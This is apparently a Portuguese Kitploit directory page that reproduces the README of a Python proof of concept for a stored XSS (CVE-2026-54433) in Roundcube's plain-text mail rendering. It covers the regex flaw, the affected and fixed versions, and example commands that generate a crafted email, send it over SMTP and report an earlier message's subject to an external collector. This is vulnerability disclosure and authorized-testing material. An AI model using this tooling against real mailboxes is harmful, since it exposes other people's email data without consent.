Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-54433 — PoC em Python configurável para CVE-2026-54433, um XSS armazenado no renderizador de e-mail em texto simples do Roundcube. Gera arquivos .eml personalizados, envia via SMTP e valida o impacto em um laboratório Docker. | Kitploit
Ferramentas/GitHubGitHub/aramosf/cve-2026-54433
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosSegurança WebTestes de PenetraçãoDesenvolvimento de PayloadsSegurança de EmailLabs e Prática
GitHubaramosf/cve-2026-54433

CVE-2026-54433

PoC em Python configurável para CVE-2026-54433, um XSS armazenado no renderizador de e-mail em texto simples do Roundcube. Gera arquivos .eml personalizados, envia via SMTP e valida o impacto em um laboratório Docker.

29há 1 mêsAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-54433: XSS armazenado em e-mail de texto simples do Roundcube

Demonstração de execução do exploit

Este repositório contém uma prova de conceito (PoC) em Python configurável para a CVE-2026-54433, uma vulnerabilidade de cross-site scripting armazenado no renderizador de e-mails de texto simples do Roundcube. Um remetente não autenticado pode entregar uma mensagem text/plain especialmente elaborada. Quando um usuário autenticado do Roundcube abre ou visualiza a mensagem, o JavaScript controlado pelo atacante é executado na origem do Roundcube.

A PoC demonstra impacto concreto em sessão autenticada sem coletar cookies ou corpos de mensagens: ela lê o assunto de uma mensagem mais antiga e envia esse valor, a origem do Roundcube e o nome da tarefa a um coletor autorizado como campos POST codificados em URL.

Aviso

Este é um código de exploit ativo. Use-o somente em um laboratório que você possua ou contra um sistema e uma caixa de correio que você tenha autorização explícita para testar. O modo de envio transmite um e-mail especialmente elaborado e pode revelar um assunto pré-existente ao coletor. Use --generate-only para inspeção offline.

Resumo da vulnerabilidade

O Roundcube converte endereços encontrados em mensagens de texto simples em links mailto: clicáveis. Nas versões afetadas, o sufixo de consulta opcional era correspondido com \S+:

. '(\?\S+)?'

Como \S inclui < e >, uma string que começa como um endereço de e-mail podia fazer com que a substituição do auto-link consumisse uma tag HTML de abertura, deixando o restante para ser interpretado como marcação. Esta forma mínima ilustra o primitivo:

[email protected]?]

A correção upstream restringe o sufixo de consulta para que ele não possa conter colchetes angulares nem espaços em branco:

. '(\?[^<>\s]+)?'

O fornecedor descreve o problema como "zero-click" porque nenhum clique em link é necessário. Abrir ou visualizar o e-mail enquanto autenticado continua sendo a ação do cliente de e-mail que renderiza o payload.

Versões afetadas e corrigidas

Linha de versãoStatus
Versões do Roundcube anteriores a 1.6.17Afetadas
Roundcube 1.6.17 e versões 1.6.x posterioresCorrigidas
Roundcube 1.7.0 e 1.7.1Afetadas
Roundcube 1.7.2 e versões posterioresCorrigidas

Os commits públicos de correção são:

  • Linha 1.7: 5477e979aae0317e111564bfc9971ba7707cc165
  • Linha 1.6: 4c278f4868c67b163567cae3d74e58d872913459

Atualize para o Roundcube 1.6.17 / 1.7.2 ou uma versão suportada mais recente.

Pré-condições e escopo

  • O atacante precisa de uma forma de entregar o e-mail à vítima, mas não precisa de conta, senha, acesso a plugins ou acesso de administrador no Roundcube.
  • A mensagem deve ser renderizada por uma versão afetada do Roundcube como text/plain.
  • A vítima deve ter uma sessão autenticada do Roundcube e abrir ou visualizar a mensagem.
  • Nenhum plugin de terceiros do Roundcube é necessário.
  • O teste Docker positivo usou o skin Elastic padrão do Roundcube. O primitivo raiz está na conversão de texto simples do lado do servidor; outros skins não foram declarados como testados de forma independente aqui.
  • O controle "recursos remotos foram bloqueados" do Roundcube não impediu o primitivo testado: a imagem oculta usa um src relativo que falha para invocar onerror. Um callback do coletor ainda requer conectividade de rede do navegador.
  • O cookie de sessão do Roundcube é normalmente HttpOnly. Esta PoC não tenta lê-lo. Sua requisição de mesma origem usa automaticamente a sessão autenticada, e o assunto de uma mensagem separada é a prova de impacto.

O resultado demonstrado é a execução de JavaScript autenticado e o acesso de leitura ao assunto de um e-mail anterior. Assunção de conta, roubo arbitrário de corpos de mensagens e execução de código no servidor não são reivindicados por este repositório.

Comportamento da PoC

cve-2026-54433-poc.py é autocontido e usa apenas a biblioteca padrão do Python. Ele:

  1. constrói um e-mail text/plain RFC 5322 comum e especialmente elaborado;
  2. varre, por padrão, no máximo 50 UIDs mais baixos na caixa de correio atual do Roundcube;
  3. seleciona o primeiro assunto mais antigo que não comece com CVE-2026-54433;
  4. envia via POST subject, origin e task para /capture/<random-marker>;
  5. nunca lê cookies, credenciais, corpos de mensagens ou anexos;
  6. opcionalmente envia o e-mail usando SMTP simples, STARTTLS ou TLS implícito;
  7. opcionalmente consulta o Webhook.site ou um endpoint de status JSON compatível.

O payload insere o comentário DOM:

<!-- This is a BugBounty test; only one subject is copied as evidence -->

Ele também oculta o fragmento de endereço com auto-link e o indicador de imagem quebrada, exibindo o corpo benigno fornecido pelo chamador.

Geração offline

Gere o e-mail sem fazer uma conexão de rede:

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only

Isso grava:

  • cve-2026-54433-trigger.eml
  • cve-2026-54433-evidence.json

Inspecione a mensagem gerada antes de usar o modo de envio.

Teste SMTP autorizado com Webhook.site

O valor de --collector pode ser um UUID do Webhook.site, uma URL de captura ou uma URL #!/view/. O script deriva os endpoints de captura e de polling.

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user [email protected]

Se SMTP_PASSWORD estiver ausente, o script solicita a senha sem ecoá-la ou armazená-la. Uma variável com outro nome pode ser selecionada com --smtp-password-env NAME. Evite --smtp-password em sistemas multiusuário porque os argumentos de linha de comando podem ficar visíveis em listagens de processos ou no histórico do shell.

O script solicita um YES explícito antes de enviar. Em automação de laboratório não interativa e já autorizada, use --yes. Ele aguarda até 24 horas por um callback por padrão; use --timeout SECONDS para alterar isso.

Para um coletor que não seja o Webhook.site, informe a base de captura e o endpoint de status JSON opcional:

python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls

O collector.py incluído implementa os endpoints compatíveis /capture/<marker> e /status. Ele se vincula ao loopback por padrão. A implantação real com HTTPS e o controle de acesso ficam intencionalmente a cargo do testador autorizado.

Laboratório Docker reproduzível

O laboratório não tem portas de host publicadas e contém apenas mensagens sintéticas. Ele usa a mesma PoC em Python para gerar o gatilho, entrega ambas as mensagens em uma caixa de correio Dovecot descartável, faz login por meio de um navegador headless descartável e registra se o handler injetado leu o assunto anterior.

Baixar ferramenta